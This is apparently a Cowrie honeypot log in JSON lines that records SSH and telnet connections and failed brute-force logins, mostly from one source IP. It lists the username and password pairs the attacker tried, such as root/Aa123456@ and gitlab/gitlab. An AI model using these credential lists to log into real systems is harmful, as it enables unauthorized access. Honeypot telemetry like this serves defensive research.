{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:46.518998Z","src_ip":"5.196.136.131","session":"b65f9d33daf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.0058171749115,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:46.545935Z","src_ip":"94.23.66.112","session":"23dd11a6f08b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:46.752657Z","src_ip":"5.196.136.131","session":"b65f9d33daf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:47.831402Z","src_ip":"5.196.136.131","session":"b65f9d33daf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":38006,"dst_ip":"10.17.0.5","dst_port":23,"session":"a862d3a76d6c","protocol":"telnet","message":"New connection: 94.23.66.112:38006 (10.17.0.5:23) [session: a862d3a76d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:49.011808Z"}
{"eventid":"cowrie.session.closed","duration":0.007547616958618164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:49.019240Z","src_ip":"94.23.66.112","session":"a862d3a76d6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51382,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a4bcc868dca","protocol":"ssh","message":"New connection: 5.196.136.131:51382 (10.17.0.5:22) [session: 7a4bcc868dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:50.880955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:50.885375Z","src_ip":"5.196.136.131","session":"7a4bcc868dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:50.960355Z","src_ip":"5.196.136.131","session":"7a4bcc868dca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:51.188555Z","src_ip":"5.196.136.131","session":"7a4bcc868dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:52.266395Z","src_ip":"5.196.136.131","session":"7a4bcc868dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":54473,"dst_ip":"10.17.0.5","dst_port":22,"session":"93df9ff37001","protocol":"ssh","message":"New connection: 5.196.136.131:54473 (10.17.0.5:22) [session: 93df9ff37001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:55.272764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:55.274545Z","src_ip":"5.196.136.131","session":"93df9ff37001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:55.370547Z","src_ip":"5.196.136.131","session":"93df9ff37001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:55.611705Z","src_ip":"5.196.136.131","session":"93df9ff37001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:56.691988Z","src_ip":"5.196.136.131","session":"93df9ff37001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":39405,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ae3864c4cd4","protocol":"ssh","message":"New connection: 5.196.136.131:39405 (10.17.0.5:22) [session: 1ae3864c4cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:59.652812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:59.656322Z","src_ip":"5.196.136.131","session":"1ae3864c4cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:59.731904Z","src_ip":"5.196.136.131","session":"1ae3864c4cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:59.961983Z","src_ip":"5.196.136.131","session":"1ae3864c4cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:01.040697Z","src_ip":"5.196.136.131","session":"1ae3864c4cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":21515,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ef45bdb4674","protocol":"ssh","message":"New connection: 5.196.136.131:21515 (10.17.0.5:22) [session: 7ef45bdb4674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:04.181314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:04.185137Z","src_ip":"5.196.136.131","session":"7ef45bdb4674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:04.266705Z","src_ip":"5.196.136.131","session":"7ef45bdb4674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:04.515483Z","src_ip":"5.196.136.131","session":"7ef45bdb4674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:05.599097Z","src_ip":"5.196.136.131","session":"7ef45bdb4674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":55428,"dst_ip":"10.17.0.5","dst_port":22,"session":"308c01c92c6f","protocol":"ssh","message":"New connection: 5.196.136.131:55428 (10.17.0.5:22) [session: 308c01c92c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:08.663904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:08.667887Z","src_ip":"5.196.136.131","session":"308c01c92c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:08.745560Z","src_ip":"5.196.136.131","session":"308c01c92c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:08.978771Z","src_ip":"5.196.136.131","session":"308c01c92c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:10.060101Z","src_ip":"5.196.136.131","session":"308c01c92c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":64235,"dst_ip":"10.17.0.5","dst_port":22,"session":"125487fcae76","protocol":"ssh","message":"New connection: 5.196.136.131:64235 (10.17.0.5:22) [session: 125487fcae76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:13.026708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:13.030113Z","src_ip":"5.196.136.131","session":"125487fcae76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:13.107828Z","src_ip":"5.196.136.131","session":"125487fcae76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:13.341614Z","src_ip":"5.196.136.131","session":"125487fcae76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:14.421770Z","src_ip":"5.196.136.131","session":"125487fcae76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a124fb045553","protocol":"ssh","message":"New connection: 5.196.136.131:63288 (10.17.0.5:22) [session: a124fb045553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:17.441741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:17.445314Z","src_ip":"5.196.136.131","session":"a124fb045553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:17.522878Z","src_ip":"5.196.136.131","session":"a124fb045553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:17.760305Z","src_ip":"5.196.136.131","session":"a124fb045553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:18.840538Z","src_ip":"5.196.136.131","session":"a124fb045553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.0.84.125","src_port":57524,"dst_ip":"10.17.0.5","dst_port":22,"session":"56966d4b7636","protocol":"ssh","message":"New connection: 49.0.84.125:57524 (10.17.0.5:22) [session: 56966d4b7636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:19.228002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:19.231457Z","src_ip":"49.0.84.125","session":"56966d4b7636","protocol":"ssh"}
